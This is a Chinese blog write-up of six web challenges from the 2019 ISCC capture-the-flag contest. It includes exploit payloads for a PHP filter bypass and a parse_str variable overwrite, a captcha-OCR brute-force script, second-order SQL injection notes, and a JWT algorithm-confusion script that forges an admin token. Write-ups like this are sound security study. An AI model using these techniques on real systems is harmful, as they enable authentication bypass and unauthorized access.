2019 ISCC Web wp

  1. 1. Web
    1. 1.1. Web1
    2. 1.2. Web2
    3. 1.3. Web3
    4. 1.4. Web4
    5. 1.5. Web5
    6. 1.6. Web6

2019 ISCC Web wp,没什么太大意义…原题比较多…没学到啥…

Web

Web1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';

for ($i = 0; $i < count($value); ++$i) {
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}

highlight_file(__FILE__);

1
http://39.100.83.188:8001/?value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=2332e1

Web2

提示破解3位数字密码,可以写脚本来跑,由于他的验证码是每次 GET 一次就刷一次,验证码处理这块会比较麻烦,学习了一波验证码的处理识别与 selenuim 爬虫的知识,写了个半成品,但是貌似这个处理 response 不太好处理,最后盲猜 996 拿到 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import pytesseract
import requests
import time
from PIL import Image
from selenium import webdriver
'''
调用接口请求验证码,保存到本地,识别验证,检查识别的验证码对不对。
'''
driver = webdriver.Chrome()
driver.get("http://39.100.83.188:8002/")
driver.add_cookie({
'domain': '39.100.83.188:8002',
'name': 'PHPSESSID',
'value': 'alsrko26h2mlbmkgv54r4gpcf3',
'path': '/',
'expires': None
})
driver.get("http://39.100.83.188:8002/")
# 比较好理解、截图并保存到这个路径
driver.get_screenshot_as_file('./screenshoot.png')
# driver.close()
# 打开刚刚保存的图片
im = Image.open('./screenshoot.png')
# 设置要裁剪的区域(验证码所在的区域)
box = (0, 200, 130, 300)
# 截图,生成只有验证码的图片
region = im.crop(box)
# 保存到本地路径
region.save("./code.png")
# 读取验证码图片
image = Image.open("./code.png")
# 开始识别验证码
optCode = pytesseract.image_to_string(image)
# 打印出验证码
print("验证码:", optCode)
password = '999'
driver.find_element_by_name("pwd").send_keys(password)
driver.find_element_by_name("user_code").send_keys(optCode)
driver.find_element_by_name("Login").click()
print(driver)

后来看其他师傅,可以把 cookie 删掉来达到爆破密码

Web3

感觉是把 sql-lab 二次注入的题目给拿了上来,就是利用注册admin'#来更改管理员账号密码的那个题

但是貌似过滤了一些字符,但是管他么多,师傅们都是懒的,直接用admin/123456上去拿到 flag

看了其他师傅的wp,可以通过admin'--xx来二次注入,奇怪的是当时我并没有成功…可能并发确实太多了…

Web4

代码审计题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 <?php
error_reporting(0);
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
$query = $parsed["query"];
$parsed_query = parse_str($query);
if($parsed_query!=NULL){
$action = $parsed_query['action'];
}

if($action==="auth"){
$key = $_GET["key"];
$hashed_input = hash('sha256', $key);
if($hashed_input!==$hashed_key){
die("<img src='cxk.jpg'>");
}

echo $flag;
}
}else{
show_source(__FILE__);
}?>

又是一个原题,利用pase_str函数的特性:

parse_str ( string $encoded_string [, array &$result ] ) : void

如果 encoded_string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。

传入hashed_key覆盖掉hased_key即可

Payload:

1
action=auth&key=test&hashed_key=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08

Web5

http://39.100.83.188:8054/

脑洞题…脑洞对不上…

参考2019iscc wp,考点是注入,过滤了圆括号,注释符,from等等

payload :order by 排序盲注

Web6

http://39.100.83.188:8053/

测试发现一些特殊符号被转义

1
[email protected]#$%^&amp;*()_+-={}|[]\\:\";'&lt;&gt;?,./

然后发现并没有什么用…

然后发现有 jwt ,但是看了一下并没什么,参考了JSON Web Token (JWT) 攻击技巧,试了几种方式,改加密算法为 none 没用,又没有公钥…

然后终于在 http://39.100.83.188:8053/static/js/common.js 中发现了

1
2
3
4
5
6
function getpubkey(){
/*
get the pubkey for test
/pubkey/{md5(username+password)}
*/
}

这个没有用到的函数,还以为公钥是用md5(username+password),结果发现这是个 url …

访问 http://39.100.83.188:8053/pubkey/9af8bd54cb8f00ac47d6050c99a5494b 得到

1
{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----","result":true}

拿上面那篇先知文章的 exp 出来改一下

1
2
3
4
5
import jwt

public = '''-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----'''
print public
print jwt.encode({"name":"zeddy","priv":"admin"}, key=public, algorithm='HS256')

这里注意,如果要用这个 exp 必须得用pyjwt==0.4.3,而且 python 还有个库也叫 jwt …这里需要用 python2 把两个jwt/PyJWT都卸了,然后装上面那个就行了。

用这个 jwt 访问/list就可以得到 admin 的 pastebin 了,访问即是 flag


Article Author: Zeddy

Article Link: https://blog.zeddyu.info/2019/05/30/2019iscc/index.html

Copyright Notice: With the exception of the special statement at the beginning of the article, all articles can be reprinted in accordance with the CC BY 4.0 agreement with the author's permission.

2019强网杯部分Web wp 2019 CISCN RefSpace

Comments